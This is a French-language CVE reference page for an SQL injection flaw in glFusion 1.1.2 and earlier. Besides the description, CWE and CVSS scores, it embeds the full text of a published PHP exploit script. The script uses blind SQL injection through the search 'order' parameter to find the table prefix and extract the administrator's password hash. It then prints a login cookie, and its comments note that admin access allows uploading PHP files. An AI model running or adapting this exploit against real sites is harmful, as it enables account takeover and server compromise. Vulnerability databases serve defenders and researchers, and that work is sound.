CVE-2009-4796 : Détail

CVE-2009-4796

SQL Injection
A03-Injection
0.74%V4
Network
2010-04-22
12h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple SQL injection vulnerabilities in the ExecuteQueries function in private/system/classes/listfactory.class.php in glFusion 1.1.2 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) order and (2) direction parameters to search.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8302

Date de publication : 2009-03-28 23h00 +00:00
Auteur : Nine:Situations:Group
EDB Vérifié : Yes

<?php /* glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit by Nine:Situations:Group::bookoo working against Mysql >= 4.1 php.ini independent our site: http://retrogod.altervista.org/ software site: http://www.glfusion.org/ google dork: "Page created in" "seconds by glFusion" +RSS Vulnerability, sql injection in 'order' and 'direction' arguments: look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336: ... // Get the details for sorting the list $this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field']; $this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction']; if (is_numeric($this->_sort_arr['field'])) { $ord = $this->_def_sort_arr['field']; $this->_sort_arr['field'] = SQL_TITLE; } else { $ord = $this->_sort_arr['field']; } $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']); ... filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter() in /public/lib-common.php near line 5774. We are in an ORDER clause and vars are not surrounded by quotes, bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`" but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close your query. And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of SUBSTR(str,n,n) in a sub-SELECT statement. Other attacks are possible, COM_applyFilter() is a very common used one. Additional notes: 'direction' argument is uppercased by strtoupper(), you know that table identifiers on Unix-like systems are case sensitives but not on MS Windows, however I choosed to inject in the 'order' one for better results. Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or $_COOKIE[], which is not intended I suppose. This exploit extracts the hash from users table; also note that you do not need to crack the hash, you can authenticate as admin with the cookie: glfusion=[uid]; glf_password=[hash]; as admin you can upload php files in public folders! Very soft mitigations: glFusion does not show the table prefix in sql errors, default however is 'gl_'. I prepared a fast routine to extract it from information_schema db if availiable. To successfully interrogate MySQL you need at least 2 records in the same topic section, however the default installation create 2 links with topic "glFusion" */ $err[0]="[!] This script is intended to be launched from the cli!"; $err[1]="[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : nil; } else { !dl("php_curl.so") ? die($err[1]) : nil; } } function syntax(){ print ( "Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS] \n". "Options: \n". "--port:[port] - specify a port \n". " default -> 80 \n". "--prefix - try to extract table prefix from information.schema\n". " default -> gl_ \n". "--uid:[n] - specify an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy \n". "--enforce - try even with 'not vulnerable' message "); die(); } error_reporting(E_ALL ^ E_NOTICE); $host=$argv[1]; $path=$argv[2]; $prefix="gl_"; //default $uid="2"; $where= "uid=$uid"; //user id, usually admin, anonymous = 1 $argv[2] ? print("[*] Attacking...\n") : syntax(); $_f_prefix=false; $_use_proxy=false; $port=80; $_enforce=false; for ($i=3; $i<$argc; $i++){ if ( stristr($argv[$i],"--prefix")){ $_f_prefix=true; } if ( stristr($argv[$i],"--proxy:")){ $_use_proxy=true; $tmp=explode(":",$argv[$i]); $proxy_host=$tmp[1]; $proxy_port=(int)$tmp[2]; } if ( stristr($argv[$i],"--port:")){ $tmp=explode(":",$argv[$i]); $port=(int)$tmp[1]; } if ( stristr($argv[$i],"--enforce")){ $_enforce=true; } if ( stristr($argv[$i],"--uid")){ $tmp=explode(":",$argv[$i]); $uid=(int)$tmp[1]; $where="uid=$uid"; } } $url = "http://$argv[1]:$port"; function _s($url,$request) { global $_use_proxy,$proxy_host,$proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7"); curl_setopt($ch, CURLOPT_TIMEOUT, 0); curl_setopt($ch, CURLOPT_HEADER, 0); if ($_use_proxy){ curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } function chk_err($s){ if (stripos ($s,"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")){ return true; } else { return false; } } function xtrct_tpc($_h){ $_x=explode("\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x3f\x74\x6f\x70\x69\x63\x3d",$_h); $_y=array(); for ($i=1; $i<count($_x); $i++){ $_tmp=explode("\x22",$_x[$i]); if ((!in_array($_tmp[0],$_y)) and ($_tmp[0]<>'')) { $_y[$i]=$_tmp[0]; } } return $_y; } $url ="http://$host:$port".$path."index.php"; $out= _s($url,""); $_tpcs=xtrct_tpc($out); $_types=array("links","stories","filemgmt","forum"); $_t=false; for ($i=0; $i<count($_tpcs); $i++){ for ($j=0; $j<count($_types); $j++){ $url ="http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=25&mode=search"; $out= _s($url,""); $mtchs=explode("\x3e\x32\x2e", $out); if (count($mtchs)==2){ $_t=true; break; } } } if ($_t==true){ $type = $_types[$j]; $topic= $_tpcs[$i]; } else { $type= "links"; //section with at least 2 records of the same topic $topic= "glFusion"; //existing topic in section } print("[*] topic -> '".$topic."', type -> '".$type."'\n"); $prepend="query=&topic=".$topic."&keyType=phrase"; //checking for vulnerability existence ... $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order="; $_d="order=--;"; $out= _s($url,$_d); //version compatibility if (stripos($out,"\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73")){ $prepend="query=a+a+a&topic=0&keyType=all"; $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search"; $out= _s($url,$_d); } if (chk_err($out)) { print("[*] Vulnerable ...\n"); } else { print("[!] Not vulnerable ...\n"); if (!$_enforce){ die; } } switch ($type) { case $_types[0]: $_order = array("id","url","description","title","hits","date","uid"); break; case $_types[1]: $_order = array("id","title","description","date","uid","hits","url"); break; case $_types[2]: $_order = array("id","uid","comments","hits","date","description","url"); break; case $_types[3]: $_order = array("id","name","forum","date","title","description","hits","uid"); break; } function xtrct_lnk($_h){ $_x=explode("\x3e\x31\x2e",$_h); $_x=explode("\x3c\x61\x20\x68\x72\x65\x66\x3d\x22",$_x[1]); $_x=explode("\x22",$_x[1]); return html_entity_decode($_x[0]); } //checking for exploitability ... $sql = urlencode("(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--"); $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search"; $_d="order=".$sql.";"; $out= _s($url,$_d); if (chk_err($out)) { die("[!] Mysql < 4.1 ..."); } else { print "[*] Subquery works, exploiting ...\n"; } $_lnks = array(); $v = array(); for ($i=0; $i<count($_order); $i++){ $sql = urlencode("$_order[$i] LIMIT 1--"); $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search"; $_d="order=".$sql.";"; $_o= _s($url,$_d); $l=xtrct_lnk($_o); if (!in_array($l,$_lnks)) { array_push($_lnks,$l); array_push($v,$_order[$i]); } if (count($v)>1) { print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records, good! \n"; break; } } if (count($v)<=1) {die("[!] Unable to interrogate database: ".count(v)." record(s) in table ... need at least 2 with topic '".$topic." in section '".$type."' !");} function find_prefix(){ global $_lnks ,$v, $type, $host, $port, $path, $prepend; $_table_name=""; $j=1; print "[*] Table name -> "; while (!strstr($_table_name,chr(0))){ $mn=0x00;$mx=0xff; while (1){ if (($mx + $mn) % 2 ==1){ $c= round(($mx + $mn) / 2) - 1; } else { $c= round(($mx + $mn) / 2); } $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--"); $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search"; $_d="order=".$sql.";"; $_o= _s($url,$_d); if (chk_err($_o)) { die("\n[!] information_schema not availiable!"); } $l=xtrct_lnk($_o); if ($l==$_lnks[0]){ $mn = $c; } else { $mx = $c - 1; } if (($mx-$mn==1) or ($mx==$mn)){ $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--"); $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search"; $_d="order=".$sql.";"; $_o= _s($url,$_d); $l=xtrct_lnk($_o); if ($l==$_lnks[0]){ print chr($mn); $_table_name.=chr($mn); } else { print chr($mx); $_table_name.=chr($mx); } break; } } $j++; } print "\n"; $_prefix = str_replace("trackbackcodes","",$_table_name); return $_prefix; } if ($_f_prefix == true) { $prefix=find_prefix(); print "[*] Table prefix -> ".$prefix."\n"; } $c=array();$c=array_merge($c,range(0x30,0x39));$c=array_merge($c,range(0x61,0x66)); print "[*] hash -> "; $_hash=""; for ($j=1; $j<0x21; $j++){ for ($i=1; $i<=0xff; $i++){ $f=false; if (in_array($i,$c)){ $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(PASSWD FROM $j FOR 1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--"); $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search"; $_d="order=".$sql.";"; $_o= _s($url,$_d); if (chk_err($_o)) { die("\n[!] wrong table prefix!"); } $l=xtrct_lnk($_o); if ($l==$_lnks[0]){ $f=true; $_hash.=chr($i); print chr($i); break; } } } if ($f==false){ die("\n[!] Unknown error ..."); } } print "\n[*] your cookie -> glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;"; ?> # milw0rm.com [2009-03-29]

Products Mentioned

Configuraton 0

Glfusion>>Glfusion >> Version To (including) 1.1.2

Glfusion>>Glfusion >> Version 1.0.0

    Glfusion>>Glfusion >> Version 1.0.0

      Glfusion>>Glfusion >> Version 1.0.0

        Glfusion>>Glfusion >> Version 1.0.1

        Glfusion>>Glfusion >> Version 1.1.0

        Glfusion>>Glfusion >> Version 1.1.0

        Glfusion>>Glfusion >> Version 1.1.1

        Références

        http://www.exploit-db.com/exploits/8302
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://secunia.com/advisories/34519
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://osvdb.org/52984
        Tags : vdb-entry, x_refsource_OSVDB
        http://www.securityfocus.com/bid/34281
        Tags : vdb-entry, x_refsource_BID